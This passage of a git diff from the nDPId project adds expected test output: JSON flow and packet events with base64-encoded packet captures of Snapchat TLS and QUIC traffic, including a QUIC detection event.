+00410{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":296708,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAe9AABAGi85KfYiNCggAAQG7rfgRXauy7qJXH1AQ\/\/8gPAAA"} +01145{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":297136,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAORJAAEAGIpMKCAABSn2Ija34AbvuolcfEV2rslAQ\/\/\/rewAAFwMDBPI\/yxy\/isn7s62UJxnAMXh3dvQ1FR0BAyKUkmzGrbRl0gXfqY\/qfj3B60ZEj1t5HXW8WDe2jPkt2XB2v+kf0+QngDxGXySuQDmblX07nRPtLgRrklcyeTofbXYASvTR\/4+XMSedP4S\/aJ64NLTxjwSwGbg5X0qGgA9B9H8UeAEVL7TFeDsQPbMAQ0pG5TBb+sdRYeXeoVsHyy8b7OpscMBpDZrQ58kn8RK3Aa6YMdc4+qRAqehNay6Zngsj4n0\/XT9fIhKtSh5+wtDCo3WYNAXuAKaF9dJN0mdnFXkYtyJc8bff4QCIIDW2ZoOcMQPmNVSJp62NNJ9WJbDGznNHLjc5msvYYLqWF4+u8l527n5XgX2m3JTOK\/DP7S30rwWQ5yAnXWTSmZ0\/cF+EhOD89dVjqv0HBzTssaDdmgBLvX0vUzWSCrWcz43siIEiweuvLQXFbV0AOQJASMo4K01fjzpUFKMm7vWuNZk0Rxd1evLAiAq7I8okpNO2Xxfymo6\/z\/lwCk3zyNGxz1Y6YC7Eh3LgsfauSHZPp\/\/4RmjyWd1Q+PwtIWBW3iBR0UJZ2YUeyzh4Y5EsSdv29LR1glRjhPXztNbUns+kFn1Ulnxl9eTMvMA1\/UDX43WYhn7FAQAAqIhRhtk5YK0brfPFUinOQ3926BehWzO7QVw7jXjWngKkMDmg1qafBaBek1YjVCdPHE+w\/P4="} +00411{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":297319,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfBAABAGi81KfYiNCggAAQG7rfgRXauy7qJZN1AQ\/\/8eJAAA"} +01144{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":297471,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAORNAAEAGIpIKCAABSn2Ija34Abvuolk3EV2rslAQ\/\/94AwAAjErMpOsOwWHz6MPvoG\/ZHcDuKa5LP5+jFcnbC+cOYaXUYQ6dkw\/kcTw9m8JYp\/sOCAutSafXvixYVLHmzeGv50yOdgiMnUJEKnDUiQsY5QaYZ8R2\/JT+\/eTMi8F3vovOK5IHfPQ61hXDi6AqyTPG+LAAxtlCf7jHgV1tpvedPPN2HtyWETkGslx559gKtFQBp5hBAnSMbgFmbsL3pqgQurtkiFX9LrcRExO1yf8p9h6Hvg0mJP2LZ9OvW9b0Tf2udphLZmKkeNPwIYxqX6J3dnJ2EtsQAGMkRc+WQ7cEaidxxCIPK6MWoJ5GFNH4AWz14D75qqQI94e3pLBXwwPRFZs6LljU32ufzzNnQjFGvzke7USGa0Co1UWQ3R4buDxn0AhyJQHCwQ+iGhJ\/KvpaZ6byVBCO\/MJ9tUc9thkqa7m5U7aRiNuUK\/g6vLUvScnMyofHFl3P3SEjRgDTUSMsLhWzDv7sklRoRGufqRteO0VJ\/YrQzmmqp525+4PbLGVdlfDkkQoywpBlK+rANxuSi6xFSOu\/uYJyTxuozNNdYNegFvIauRab5UWEaiKjK\/WC+Vb+3O9cLktDZPKDa70BaWcNKYSGEzVIlsawKn7\/x6E84JzzxARbwDa5uRFPAOZH5+GELkP1dIPCSDw6+pyp6gr+O1cC4J94fH2M7QPic\/0a9E\/f9jJc8euOX3NBdDDEXQC83eXVWm0="} +00411{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":297685,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfFAABAGi8xKfYiNCggAAQG7rfgRXauy7qJbT1AQ\/\/8cDAAA"} +00685{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":297838,"pkt_caplen":253,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":253,"pkt_l4_len":219,"pkt":"ABoRAAACABoRAAABCABFAADvORRAAEAGI+IKCAABSn2Ija34AbvuoltPEV2rslAY\/\/+4KgAATPLlHnlMwVPMY3wN8GKj4lrDg+GYU76nwUHz+UjdXUaAGZ0fvbtAbP+ja0DxISIvnNR+NVh51N4gSCGKkbebxk8\/N\/ATfKDvEOIjjxDht1LpwfakTOw4a2GwYHEwO5Zc2bzZaRkCqH1SpR6hKamSk8AcJdOjmZPRsAkKxjEmjzdXbEtC2I1hMz1wX\/mSVhoXgJnbzFtBYBwtHDHAQFp5batgoINSt98mxTu71dYfcAzE7CJnb5u8S5EM2TgDkY6bgpo59HYK+A=="} +00411{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":298021,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfJAABAGi8tKfYiNCggAAQG7rfgRXauy7qJcFlAQ\/\/8bRQAA"} +00480{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":298173,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ABoRAAACABoRAAABCABFAABbwNVAAEAGnLQKCAABSn2IjduBAbsrgq9A1H1TXlAY\/\/+tkAAAFAMDAAEBFgMDACiTANECLV5gyrmsEBxSetKObvy84tLkwEhQmWtdNsvkTmFU5Ry2Gp9E"} +00411{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":298326,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfNAABAGi8pKfYiNCggAAQG724HUfVNeK4Kvc1AQ\/\/\/ysgAA"} +01143{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":348684,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAwNZAAEAGms4KCAABSn2IjduBAbsrgq9z1H1TXlAQ\/\/+3hQAAFwMDBLuTANECLV5gy4HfV9LX8dSQgBzeO7DeX+weMF8GF7e1LC1b+ToibH9tyZlffB8Uhfgvr4v0PL1jd+1nW35dH4ZRVAVObDWYtz5qwjyx5h1jd2qU3AGF1KcuvyzG9tB83YJXoDrUo9PwMm2DYzlEqLuc+qjgW2aRdCYrmYkieecj6ZD8pXouDq3n2gyz+QlmK\/\/SaqB8LqVYkL1wwKY1+0JuRp2UruXLCtxqBaEdcwH\/QVOAsFlF5DOSyzSZKH0vkhtw+vaGW6An\/o0JExOABKsvzy\/sefM9s4LpBZZRJYCWiu2tLZuVj3gnYtCtRk7GPdvVbMuYTgyjIuad5WwhWMWYtaKv8Mln17kaIR9BVcVskWKOS48YO+BEgdQmWVAVSPfEKNTmD9jbLT8TwuJ4z5vbezNgkhPzV+Ij29X48cKCQJOoTOGkT8icrm6+e\/QI2rkLhi6ALWPYQwbdjOxl60TUO2u4GBc53G2xJrpJld3ry7ufoMeMBfouj+boBAgm\/wFazJtiwJvWkEPU8336\/4j2NsQU\/qX30KHiIme4y8RTlGYSsZhxz8J\/eBFace3P7\/KgpT\/Kv51j+Z5pLZUr0il7nNrULxRCiKO6WmqjU7Fw228lKtJSfQAWA92jMLl8QzWJeNd1xx\/hDqrnWErAZ1fPqCyWQOyVuRIP2+6KWnTM52pjzyHCsvEfP3Et1bcUwA1c1EM="} +00412{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":348990,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfRAABAGi8lKfYiNCggAAQG724HUfVNeK4Kxi1AQ\/\/\/wmgAA"} +01144{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":349112,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAwNdAAEAGms0KCAABSn2IjduBAbsrgrGL1H1TXlAQ\/\/\/qDAAAk2+qycyV9g+MVKpXbwYubpVyYG3dZhDEYaoH9Jn+5oj08ckn+oplVF7tRwRjNg020l1t\/EEG\/bZMXaWkA09oGXUSkpH18SjVbBrUQFTVu33uNUUCwjfZlM7qgh4tcVOp2oQhrb\/mpWd6cAApBINxGiia6GL13W1X3l\/lVkDRypn0sNyyOOJOXfFA1QAvHTkowRE\/fiEdU5V7q4dTkTb0hyUQIU0dFvBF3PJpGQkpBGPVg2K9SRwD1CLrEedagVaYTXD4GLGHdh9nv3Kdc5nqd8JYm\/VKTgIprxoam6I30yFx0fpUiZ7mlF8D0eeOrKoFxuTFIIgKgzL4w\/1hQiS7i3AHrubrmOdhd0Kz8aFtigiNeJ9Mh8wpsBJegrjcnddlqGxREpzCb28G\/CszBT989Ot3dNZ0kFb4pIEQMGsNgAm3n8X9MsZQK4WK4\/h2zypIEAC6oFSbdI3STdV3Yg38iHrmDmK+r7\/gbo5b93rPlMwElBmn76plWmy3JAD8PsA3vQXEYWUJpDU3V3fCthV2aVc2cE94lAL08Zw9UsdZ07nw4NJgOiEzY8HqxkKykQ+g9n7IJV9s61I7Y593NnPNrmbudnPveYUVso9jBZd354s1YJ2wzASfncWqpo\/v9Oa8SkMaum19T90NuylZyzdsTM6PosW4V\/ToAdYS7j\/hY2kLf1yJ6HogA9wFSVIj8TJUHCK9LqAFYZU="} +00412{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":349295,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfVAABAGi8hKfYiNCggAAQG724HUfVNeK4Kzo1AQ\/\/\/uggAA"} +00612{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":349448,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"ABoRAAACABoRAAABCABFAAC4wNhAAEAGnFQKCAABSn2IjduBAbsrgrOj1H1TXlAY\/\/\/G6wAAstjj3\/bsqpZpfZBbB0U0MfQ1fvcBtg\/ngUbvEy0ydo\/TCHa74MV9Zwi2677DhjDQ7Y8hgLv04yaniKcq9e1oXDbG0nZBEfAhi3hvl9olQoHXtdnYwEdx7D2DuVvaqcLIx2lazMNmhLU53oscsI35lmtDhvLcFW6nY5DJFHZ\/uvNo7JO137yNDEMdsY\/zZaRu"} +00412{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"snapchat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431418008,"pkt_ts_usec":349631,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAfZAABAGi8dKfYiNCggAAQG724HUfVNeK4K0M1AQ\/\/\/t8gAA"} diff --git a/test/results/snapchat_call.pcapng.out b/test/results/snapchat_call.pcapng.out new file mode 100644 index 000000000..b273fffe9 --- /dev/null +++ b/test/results/snapchat_call.pcapng.out @@ -0,0 +1,17 @@ +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"snapchat_call.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1595865799020,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.169","dst_ip":"18.184.138.142","src_port":42083,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02203{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":20160,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"CL6sCxdumt9Y+uvcCABFAAViAIdAAEARymzAqAypEriKjqRjAbsFTpy2w1EwNDZQw4BG53qjBuoAAAABZPU1L7U5tyJMVD1ioAEEAENITE8MAAAAUEFEAEgDAABWRVIATAMAAENDUwBcAwAAUERNRGADAABTTUhMZAMAAElDU0xoAwAATk9OUIgDAABNSURTjAMAAFNDTFOQAwAAQ1NDVJADAABDRkNXlAMAAFNGQ1eYAwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tUTA0NgHogWCSkhrofu2AhqIVgpFYNTA5AQAAACgAAAAzbE4qRvvkp4rlFQIkD4jjmdOAAP5SZ2hG5WgHAg7x+2QAAAABAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00582{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"snapchat_call.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1595865799020,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.169","dst_ip":"18.184.138.142","src_port":42083,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"24":"SNI TLS extension was missing"},"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {}} +02239{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":37006,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"mt9Y+uvcCL6sCxduCABFAAVi60BAACUR+rISuIqOwKgMqQG7pGMFThqhw1EwNDYFw4BG53qjBuoAAAABHHnqt4ztMz51vP6XgAFSRUoABwAAAFNUSwA5AAAAU05PAG0AAABQUk9GtAAAAFNDRkc7AQAAUlJFSj8BAABTVFRMRwEAAENSVP9OBwAAbUU2ixV5Jj1qHEQQZYOHtdotUTPKCy0omzKN6SE7STZ4\/rKMxZ9\/rrj8l9tx+PhU9mRQzeJZ+1Dabp0JaMw4Ax2lLo8wBUBdtg1GpS3urBIhqVx\/8nRPLB1cTLrUpB570Ce5EPUwnKR9lOYP4jBFAiB3SpfbIfQpyAe+ZsA1KXWbSYFVXmlAhM9hKVIcNwAFzwIhAKINNKjm9Y0DRmywB4GeockL0Y3PJJ2PTHmxvqAl6rucU0NGRwYAAABBRUFECAAAAFNDSUQYAAAAUFVCUzsAAABLRVhTPwAAAE9CSVRHAAAARVhQWU8AAABBRVNHQ0MyMAO\/Pud+GiRqUM930xoSwNMgAAAzgoMwBXTcjfX\/uLgWESbe\/GDn3+Z5Wy5eude5hIrxK0MyNTUy3iwBeDJ0hdzKD01zAQAADAAAAHLO80MAAAAAAQEA6ggAAHi7IlF+sTNiZQCWXKx6Bk0smxcAyyAmJgFO2z2LJtgwHuFZfF6JuflcqgEXGwewWDpny8LMbOCDWiSJGghD0i2PS2Z6Jqg4ACVbQzWg\/8FJRBYu7OrsjFmUAwsFIwNgXkJkLSMjUNYyNAJzDVJQbYOmUQ5hLmdg+knLL8rLTIQ5gV2YJzgxryRRwTc\/Dxh4hkIGAhCXcQbnJRZAMhNUKTMPj5YeMFhzMstS9TLzDSKBwuxgHzIxQr3KzMjO7MTA0igTPiXBhk\/onni666rTEwW2GV7P0HIt5RAIXKgqHG0lyz+LaQ37Sb9X68wmMzzfpJMbI+6\/war2EINr2z3pHSav6hc3MccaNDFHokTO4rnP5H\/esvQ\/kPdi4umpS28ZPuKaj1RHBL7\/ujNAPVOn37WS752O83bRN1k7DJRB0oIsMgZSTShub+JC8gdKYcjeQKjszISUlUkGCQZ6C3QWaLVpIMpKY72UTKR8UVycnKibmpysm24IrtEw1JvgV+8DKQhdDZyBxSOkYfA3h5ERX\/GLYp5zQLABBxtbeiMPMIEaVCPltXyDXNx5DdkMA1ekvGYJc3kiSLoY1TJYkgWmWEiCRSp3StBqrCbGWjYucEl5rZKJhYmliTEXiDMZ0xnKGNyWhr4u\/TVRwWDros7ML59rBXUcS\/b99dzRuvrTn4J\/ue4MDIyF97xNnBgYWJgZ3A1cmRQZZl+WnuB1dsnif3fPXLu66NVPttQQNgnXFyeSpjbviVMPvsSkkKnJ8SbX7sSrj30mcX6\/VAWXm72+rLYpIjtI\/4Pe2rlv1IH2Krm6skeGqoRNs1+o\/\/F7btsDZbXktQe862OPNcfkPeJngtqrDrdXwUB1507jl12PbQL\/ybLt+9VWcsd2\/4OdQYxPekSfzHnGdBnksoD\/k8V3L9Lbv0bDO\/WlV93k58q8IeJ7Shd\/k5gaMNlDhaGUIXDxhq9\/GSvnhOXuMK\/o51lSdUZa\/fT3eR1Os3j\/XelmfQq11x5sr5uBC5NC2tpbFwyfLJZe8nnhYvF5pYurJx\/i93xZwbWvt+mx29md\/5kUgrJ0vgl\/6lq870XJzFvZL9lvZZeX8D\/9s4v3bXp609M\/CshlE3Mmg0EakyHDDbOtMsq6skVXu5mVPu76eNXwNe+pKj\/OfovXBece+Cifdpz8TnOjJcPFhjtTSzUqxSSAWrZv6p0iOl+y6nXK3m9XXNa84pm1qPWQefDM"} +02213{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":37074,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"mt9Y+uvcCL6sCxduCABFAAVi60FAACUR+rESuIqOwKgMqQG7pGMFTlWjw1EwNDYFw4BG53qjBuoAAAACYTy54mZ50XnS5MjxpAEFJgJoF8maXr+sg1zn\/py4s01uT+X8o3fm32Z\/27aBGVRqMq8xaGKaAi01uU5r7HKLe2rJUVZS8PnsMSHkxhwPsDGXSFTBCa1buYUF0POAoYKBHKRMFYfrgNSNCkH5+SWw9rKxgbGBBbT4BJamyFwql91lwAIWXmqyajeyMCgxJzGwPOJwelV+Q+XeAp2UJcLnHOYoF61k4uIzt1c029EbLPLt6sSp3p+nMfUWyh25cXr5\/Lj3C57VR00SnBac\/\/rAaft1f6Pt3VWez2LXm7Zvhf7ucIn1hUv2VljJvYi2yU4R1D5jot2zuIlREZjtZA2E4BmRw4ANSDEBW4soJSBjm4EJUkmhYaBGZEnhBCkYrUGNuQWmC4zbDHEWjLAggsQEKCIgzRMDW0iJZwas2ozYWIBMBpIKO0R1gLW2QK5OmO8FmIZd9Nmd9mHxI2npw9M32V4MRUt84P7L8a4Fzt5vSk4eXX1V3sDULG9GWLXHGtbkddWzwlXCz+T\/urc6d87xbbvenHt+qjjl9n0Wcy4Gz83289XWTuxReCHfwaf1O838hMGLS4dUlrt66L5iDPAynCJ8vzf+ltZuT5vEz5Un5qRNkpqm9aXaLGKxjqNAidTltx7bLu3uYnMtNBYwqKqaoXhXZeebOVsnsa9tPnYk60f5M9N9wvzqKZuc9ze\/LA+7zdE+xV3ka7zG+sUZPs39Cd+nNVS2ZpWpzZ3Ko8Dca\/euSiM1JW3JzeZXM0vO5vnWyrzu3XR0vZi034nPoa86LARNZAXX27Ov8M+6VCKor\/WneHv8IVFn1pxrtbeY9irN9r\/8sxwAcED2UAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02208{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":50574,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"CL6sCxdumt9Y+uvcCABFAAViAIpAAEARymnAqAypEriKjqRjAbsFTgAjw1EwNDZQw4BG53qjBuoAAAACKKznrhPUqJ5o7BjwQAIYOgIApAEEAAQAQ0hMTxUAAABQQUQAIwIAAFNUSwBcAgAAU05PAJACAABWRVIAlAIAAENDUwCkAgAATk9OQ8QCAABBRUFEyAIAAFNDSUTYAgAAUERNRNwCAABTTUhM4AIAAElDU0zkAgAATk9OUAQDAABQVUJTJAMAAE1JRFMoAwAAU0NMUywDAABLRVhTMAMAAFhMQ1Q4AwAAQ1NDVDgDAABDQ1JUSAMAAENGQ1dMAwAAU0ZDV1ADAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS